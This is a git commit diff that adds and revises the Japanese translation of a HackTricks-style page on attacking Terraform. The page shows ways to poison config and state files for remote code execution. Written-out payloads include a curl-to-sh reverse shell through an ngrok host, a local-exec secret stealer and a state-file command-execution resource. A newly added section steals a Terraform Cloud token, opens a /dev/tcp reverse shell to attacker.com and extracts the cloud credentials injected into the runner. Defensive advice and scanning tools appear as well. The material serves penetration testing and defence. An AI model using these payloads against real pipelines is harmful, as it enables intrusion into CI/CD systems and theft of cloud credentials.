mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 14:13:20 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md'] to ja
This commit is contained in:
@@ -14,47 +14,47 @@ Terraformは、クラウドプラットフォームや他のサービス上で
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千種類のリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。
|
||||
HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千の異なるタイプのリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。
|
||||
|
||||
Terraformのコアワークフローは、3つのステージで構成されています。
|
||||
|
||||
- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド(VPC)ネットワーク上の仮想マシンにアプリケーションをデプロイするための設定を作成することがあります。
|
||||
- **計画:** Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または削除するインフラストラクチャを説明する実行計画を作成します。
|
||||
- **適用:** 承認後、Terraformは提案された操作を正しい順序で実行し、リソースの依存関係を尊重します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケーリングする前にVPCを再作成します。
|
||||
- **計画:** Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または破棄するインフラストラクチャを説明する実行計画を作成します。
|
||||
- **適用:** 承認後、Terraformはリソースの依存関係を尊重しながら、提案された操作を正しい順序で実行します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケールする前にVPCを再作成します。
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
### Terraformラボ
|
||||
|
||||
コンピュータにterraformをインストールしてください。
|
||||
コンピュータにterraformをインストールするだけです。
|
||||
|
||||
こちらに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、こちらにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
|
||||
ここに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、ここにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
|
||||
|
||||
## TerraformにおけるRCE: 設定ファイルの毒盛り
|
||||
|
||||
Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協させる唯一の方法は、**terraform設定ファイルを追加/変更できること**または**terraform状態ファイルを変更できること**です(下の章を参照)。
|
||||
Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協させる唯一の方法は、**terraform設定ファイルを追加/変更できること**または**terraform状態ファイルを変更できること**です(以下の章を参照)。
|
||||
|
||||
しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つさまざまな場所にアクセスする必要があります。
|
||||
しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つため、妥協するのは難しいです。
|
||||
|
||||
攻撃者がterraformが実行されているシステムを妥協させる主な方法は、**terraform設定を保存しているリポジトリを妥協させること**です。なぜなら、ある時点でそれらは**解釈される**からです。
|
||||
|
||||
実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります:
|
||||
実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。例えば、**Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
terraformファイルを妥協させることができれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。
|
||||
terraformファイルを妥協させることができれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行する方法はいくつかあります。
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform planは、Terraformで**最も使用されるコマンド**であり、Terraformを使用する開発者やソリューションは常に呼び出します。したがって、**RCEを取得する最も簡単な方法**は、`terraform plan`で任意のコマンドを実行するように設定ファイルを毒盛りすることです。
|
||||
Terraform planは、terraformで**最も使用されるコマンド**であり、terraformを使用する開発者やソリューションは常に呼び出します。したがって、**RCEを取得する最も簡単な方法**は、`terraform plan`で任意のコマンドを実行するように設定ファイルを毒盛りすることです。
|
||||
|
||||
**外部プロバイダーを使用する**
|
||||
|
||||
Terraformは、Terraformと外部プログラムのインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`external`データソースを使用して、`plan`中に任意のコードを実行できます。
|
||||
Terraformは、Terraformと外部プログラムのインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`plan`中に任意のコードを実行するために`external`データソースを使用できます。
|
||||
|
||||
以下のようなものをterraform設定ファイルに注入すると、`terraform plan`を実行したときにリバースシェルが実行されます:
|
||||
以下のようなものをterraform設定ファイルに注入すると、`terraform plan`を実行したときにリバースシェルが実行されます:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
@@ -79,9 +79,9 @@ provider "evil" {}
|
||||
|
||||
例は[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)で見つけることができます。
|
||||
|
||||
**外部リファレンスの使用**
|
||||
**外部リファレンスを使用する**
|
||||
|
||||
前述の2つのオプションは便利ですが、あまりステルス性がありません(2つ目はよりステルス性がありますが、1つ目よりも複雑です)。この攻撃を**よりステルスな方法**で実行することもできます。以下の提案に従ってください:
|
||||
前述の2つのオプションは便利ですが、あまりステルス性がありません(2つ目はよりステルス性がありますが、1つ目よりも複雑です)。以下の提案に従うことで、**よりステルスな方法**でこの攻撃を実行できます:
|
||||
|
||||
- terraformファイルにrevシェルを直接追加する代わりに、revシェルを含む**外部リソースをロード**することができます:
|
||||
```javascript
|
||||
@@ -91,12 +91,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
|
||||
```
|
||||
あなたは[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)でrev shellコードを見つけることができます。
|
||||
|
||||
- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠すことができます。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`のように。
|
||||
- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠すことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform applyはすべての変更を適用するために実行されます。また、**悪意のあるTerraformファイルを**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を注入してRCEを取得するために悪用することもできます。**\
|
||||
`main.tf`ファイルに以下のようなペイロードが含まれていることを確認するだけです:
|
||||
`main.tf`ファイルの最後に次のようなペイロードが含まれていることを確認するだけです:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -124,13 +124,13 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
## Terraformステートファイルの悪用
|
||||
|
||||
Terraformステートファイルに書き込みアクセスがあるが、Terraformコードを変更できない場合、[**この研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)はファイルを利用するための興味深いオプションを提供します。設定ファイルに書き込みアクセスがあったとしても、ステートファイルのベクターを使用する方が、`git`履歴に痕跡を残さないため、しばしばより巧妙です。
|
||||
Terraformステートファイルに書き込みアクセスがあるが、Terraformコードを変更できない場合、[**この研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)はファイルを利用するための興味深いオプションを提供します。設定ファイルに書き込みアクセスがあっても、ステートファイルのベクターを使用する方が、`git`履歴に痕跡を残さないため、しばしばより巧妙です。
|
||||
|
||||
### TerraformにおけるRCE: 設定ファイルの毒化
|
||||
|
||||
[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことが可能で、悪意のあるプロバイダーに対してTerraformステートファイル内のプロバイダーの1つを置き換えるか、悪意のあるプロバイダーを参照する偽のリソースを追加することができます。
|
||||
|
||||
プロバイダー[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)はこの研究に基づいており、この原則を武器化しています。偽のリソースを追加し、実行したい任意のbashコマンドを`command`属性に記述できます。`terraform`の実行がトリガーされると、これは`terraform plan`および`terraform apply`の両方のステップで読み取られ、実行されます。`terraform apply`ステップの場合、`terraform`はコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、[このプロバイダーのソースコードをホストしているGitHubリポジトリ](https://github.com/offensive-actions/terraform-provider-statefile-rce)で見つけることができます。
|
||||
プロバイダー[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)はこの研究に基づいており、この原則を武器化しています。偽のリソースを追加し、実行したい任意のbashコマンドを属性`command`に記述できます。`terraform`の実行がトリガーされると、これは`terraform plan`および`terraform apply`の両方のステップで読み取られ、実行されます。`terraform apply`ステップの場合、`terraform`はコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、[このプロバイダーのソースコードをホストしているGitHubリポジトリ](https://github.com/offensive-actions/terraform-provider-statefile-rce)で見つけることができます。
|
||||
|
||||
直接使用するには、`resources`配列の任意の位置に以下を含め、`name`および`command`属性をカスタマイズしてください:
|
||||
```json
|
||||
@@ -158,9 +158,9 @@ Terraformステートファイルに書き込みアクセスがあるが、Terra
|
||||
|
||||
リソースを破壊する方法は2つあります:
|
||||
|
||||
1. **実際に破壊するリソースを指すランダムな名前のリソースを状態ファイルに挿入する**
|
||||
1. **破壊する実際のリソースを指すランダムな名前のリソースを状態ファイルに挿入する**
|
||||
|
||||
terraformはそのリソースが存在すべきではないと判断し、(示された実際のリソースIDに従って)それを破壊します。前のページの例:
|
||||
terraformはそのリソースが存在すべきではないと判断し、破壊します(指定された実際のリソースIDに従って)。前のページの例:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -176,9 +176,9 @@ terraformはそのリソースが存在すべきではないと判断し、(
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **リソースを削除するように変更し、更新できないようにする(そうすれば削除され再作成される)**
|
||||
2. **リソースを削除する方法を変更して、更新できないようにする(そうすれば削除され再作成される)**
|
||||
|
||||
EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformはそれを削除して再作成します。
|
||||
EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformが削除して再作成します。
|
||||
|
||||
### ブラックリストに載ったプロバイダーを置き換える
|
||||
|
||||
@@ -199,18 +199,91 @@ data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
## Terraform Cloudの推測プランRCEと資格情報の抽出
|
||||
|
||||
このシナリオは、推測プラン中にTerraform Cloud (TFC) ランナーを悪用して、ターゲットクラウドアカウントにピボットします。
|
||||
|
||||
- 前提条件:
|
||||
- 開発者マシンからTerraform Cloudトークンを盗む。CLIはトークンをプレーンテキストで`~/.terraform.d/credentials.tfrc.json`に保存します。
|
||||
- トークンはターゲットの組織/ワークスペースにアクセスでき、少なくとも`plan`権限を持っている必要があります。VCSバックのワークスペースはCLIからの`apply`をブロックしますが、推測プランは依然として許可されます。
|
||||
|
||||
- TFC APIを介してワークスペースとVCS設定を発見する:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- 外部データソースとTerraform Cloudの"cloud"ブロックを使用して、VCSバックのワークスペースをターゲットにした投機的プラン中にコード実行をトリガーします:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
TFCランナーでリバースシェルを取得するための例 rsync.sh:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
エフェメラルランナーでプログラムを実行するための推測的な計画を実行します:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- ランナーから注入されたクラウド認証情報を列挙し、抽出します。実行中、TFCはファイルと環境変数を介してプロバイダーの認証情報を注入します:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
期待されるファイルは、ランナーの作業ディレクトリにあります:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (ワークロードアイデンティティフェデレーションJSON設定)
|
||||
- `tfc-gcp-token` (短命のGCPアクセストークン)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (ウェブアイデンティティ/OIDCロール引き受け設定)
|
||||
- `tfc-aws-token` (短命のトークン; 一部の組織では静的キーを使用する場合があります)
|
||||
|
||||
- VCSゲートをバイパスするために、短命の資格情報をアウトオブバンドで使用します:
|
||||
|
||||
GCP (gcloud):
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
AWS (AWS CLI):
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
これらのクレデンシャルを使用すると、攻撃者はネイティブCLIを使用してリソースを直接作成/変更/削除でき、VCSを介して`apply`をブロックするPRベースのワークフローを回避できます。
|
||||
|
||||
- 防御的ガイダンス:
|
||||
- TFCユーザー/チームおよびトークンに最小特権を適用します。メンバーシップを監査し、過剰なオーナーを避けます。
|
||||
- 可能な限り、機密性の高いVCSバックのワークスペースで`plan`権限を制限します。
|
||||
- Sentinelポリシーを使用してプロバイダー/データソースの許可リストを強制し、`data "external"`や不明なプロバイダーをブロックします。プロバイダーのフィルタリングに関するHashiCorpのガイダンスを参照してください。
|
||||
- 静的クラウドクレデンシャルよりもOIDC/WIFを優先します。ランナーを機密として扱います。推測的なプラン実行と予期しない出口を監視します。
|
||||
- `tfc-*`クレデンシャルアーティファクトの流出を検出し、プラン中の疑わしい`external`プログラムの使用に警告します。
|
||||
|
||||
## 自動監査ツール
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snykは、Terraform、CloudFormation、Kubernetes、およびその他のIaCフォーマットにおける脆弱性と誤設定を検出する包括的なInfrastructure as Code (IaC)スキャンソリューションを提供します。
|
||||
|
||||
- **特徴:**
|
||||
- **機能:**
|
||||
- セキュリティ脆弱性とコンプライアンス問題のリアルタイムスキャン。
|
||||
- バージョン管理システム(GitHub、GitLab、Bitbucket)との統合。
|
||||
- 自動修正プルリクエスト。
|
||||
- 詳細な修正アドバイス。
|
||||
- **サインアップ:** [Snyk](https://snyk.io/)でアカウントを作成します。
|
||||
- **サインアップ:** [Snyk](https://snyk.io/)でアカウントを作成します。
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
@@ -219,11 +292,11 @@ snyk iac test /path/to/terraform/code
|
||||
```
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov**は、インフラストラクチャをコードとして扱う(IaC)ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析(SCA)ツールでもあります。
|
||||
**Checkov** は、インフラストラクチャをコードとして扱う (IaC) ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析 (SCA) ツールでもあります。
|
||||
|
||||
それは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または[OpenTofu](https://opentofu.org/)を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
|
||||
それは、[Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 、または [OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
|
||||
|
||||
それは、一般的な脆弱性および露出(CVE)に対するオープンソースパッケージと画像のスキャンである[ソフトウェア構成分析(SCA)スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)を実行します。
|
||||
それは、オープンソースパッケージと画像のための一般的な脆弱性および露出 (CVE) のスキャンである [ソフトウェア構成分析 (SCA) スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
@@ -237,7 +310,7 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com
|
||||
- **portable:** `pip`からインストールするか、`docker`経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/)を参照してください。
|
||||
- **pre-deploy:** デプロイされる前にコードを検証します。
|
||||
- **easy to integrate:** パイプライン(またはgitフック)で実行して、すべてのデプロイが検証されることを保証できます。
|
||||
- **segregation of duty:** テストを別のリポジトリに保管し、別のチームが責任を持つことができます。
|
||||
- **segregation of duty:** 別のチームが責任を持つ異なるリポジトリにテストを保持できます。
|
||||
|
||||
> [!NOTE]
|
||||
> 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan`を実行してこのツールを使用することはできません。
|
||||
@@ -267,7 +340,7 @@ tfsec /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
インフラストラクチャコードの開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。
|
||||
インフラストラクチャをコードとして開発するサイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。
|
||||
|
||||
**KICS**は**K**eeping **I**nfrastructure as **C**ode **S**ecureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。
|
||||
```bash
|
||||
@@ -275,13 +348,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、以下のことが可能です:
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、次のことができます。
|
||||
|
||||
- インフラストラクチャのコードをシームレスにスキャンして、誤設定を検出します。
|
||||
- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを引き起こす変更を検出し、安全なポスチャーに戻すことを可能にします。
|
||||
- インフラストラクチャをコードとしてシームレスにスキャンし、誤設定を検出します。
|
||||
- プロビジョニングされたクラウドインフラストラクチャを監視し、姿勢の変化を引き起こす設定変更を検出し、安全な姿勢に戻すことを可能にします。
|
||||
- セキュリティの脆弱性やコンプライアンス違反を検出します。
|
||||
- クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。
|
||||
- ローカルで実行する柔軟性や、CI\CDと統合することができます。
|
||||
- ローカルで実行する柔軟性やCI\CDとの統合を提供します。
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
@@ -292,5 +365,13 @@ brew install terrascan
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user